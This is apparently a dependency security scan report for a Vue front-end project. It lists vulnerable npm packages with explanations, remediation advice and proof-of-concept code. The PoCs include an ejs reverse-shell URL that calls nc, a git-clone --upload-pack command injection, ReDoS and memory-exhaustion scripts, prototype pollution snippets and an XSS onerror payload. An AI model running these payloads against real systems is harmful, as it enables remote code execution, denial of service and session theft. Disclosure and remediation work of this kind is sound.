Vulnerabilities

25 via 63 paths

Dependencies

508

Source

GitHub

Commit

aaf48e4c

Find, fix and prevent vulnerabilities in your code.

Severity
  • 5
  • 16
  • 4
Status
  • 25
  • 0
  • 0

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cross-spawn
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 cross-spawn@5.1.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 boxen@1.3.0 term-size@1.2.0 execa@0.7.0 cross-spawn@5.1.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 update-notifier@2.5.0 boxen@1.3.0 term-size@1.2.0 execa@0.7.0 cross-spawn@5.1.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 yarn-install@1.0.0 cross-spawn@4.0.2

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 jstransformer-ejs@0.0.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

  • Vulnerable module: git-clone
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 download-git-repo@1.1.0 git-clone@0.1.0

Overview

git-clone is a Clone a git repository

Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to insecure usage of the --upload-pack feature of git.

Note: A note was added to the README file of the package to only use the args option with static/trusted input!

PoC:

const clone = require('git-clone')
const repo = 'file:///tmp/zero12345'
const path = '/tmp/example-new-repo'
const options = {
    args: [
    '--upload-pack=touch /tmp/pwn2'
]}
clone(repo, path, options)

Observe a new file created: /tmp/pwn2

Remediation

There is no fixed version for git-clone.

References

high severity

Excessive Platform Resource Consumption within a Loop

  • Vulnerable module: braces
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 braces@2.3.2
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 fast-glob@2.2.7 micromatch@3.1.10 braces@2.3.2
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 micromatch@3.1.10 braces@2.3.2

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: unset-value
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 fast-glob@2.2.7 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 fast-glob@2.2.7 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 fast-glob@2.2.7 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 fast-glob@2.2.7 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 fast-glob@2.2.7 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: parse-git-config
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 parse-git-config@1.1.1

Overview

parse-git-config is a Parse .git/config into a JavaScript object. sync or async.

Affected versions of this package are vulnerable to Prototype Pollution via the expandKeys function. An attacker can obtain sensitive information by exploiting the improper handling of key expansion.

PoC

(async () => {
  var victim = {};
  const parseGitConfig = require('parse-git-config');
  console.log("Before Attack: ", {}.isPolluted); // undefined

  let config = {
    '__proto__ "isPolluted"': true
  };
  parseGitConfig.expandKeys(config);

  console.log("After Attack: ", {}.isPolluted); //  true
})();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for parse-git-config.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: path-to-regexp
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 serve-handler@5.0.8 path-to-regexp@2.2.1

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/, if two parameters within a single segment are separated by a character other than a / or .. Poor performance will block the event loop and can lead to a DoS.

Note: While the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the strict option, which returns an error if a dangerous regular expression is detected.

Workaround

This vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes - and /.

PoC

/a${'-a'.repeat(8_000)}/a

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade path-to-regexp to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.

References

medium severity

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 kopy@8.3.1 inquirer@3.3.0 external-editor@2.2.0 tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: vue-i18n
  • Introduced through: vue-i18n@8.28.2

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 vue-i18n@8.28.2
    Remediation: Upgrade to vue-i18n@9.14.5.

Overview

vue-i18n is an Internationalization plugin for Vue.js

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) when performing translations with escapeParameterHtml set to true. An attacker can execute arbitrary JavaScript code in the context of the user's browser by injecting malicious payloads into translation strings that are rendered using v-html, despite HTML escaping being enabled.

PoC

const i18n = createI18n({
  escapeParameterHtml: true,
  messages: {
    en: {
      vulnerable: 'Caution: <img src=x onerror="{payload}">'
    }
  }
});

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade vue-i18n to version 9.14.5, 10.0.8, 11.1.10 or higher.

References

medium severity

Arbitrary File Write via Archive Extraction (Zip Slip)

  • Vulnerable module: decompress-tar
  • Introduced through: @vuese/cli@2.14.3

Detailed paths

  • Introduced through: ydl-2-front@ydlearning/ydl-v2-front#aaf48e4c4d3f1d112e3f7b3a0ecd5a855ef33c26 @vuese/cli@2.14.3 sao@0.22.17 download-git-repo@1.1.0 download@5.0.3 decompress@4.2.1 decompress-tar@4.1.1
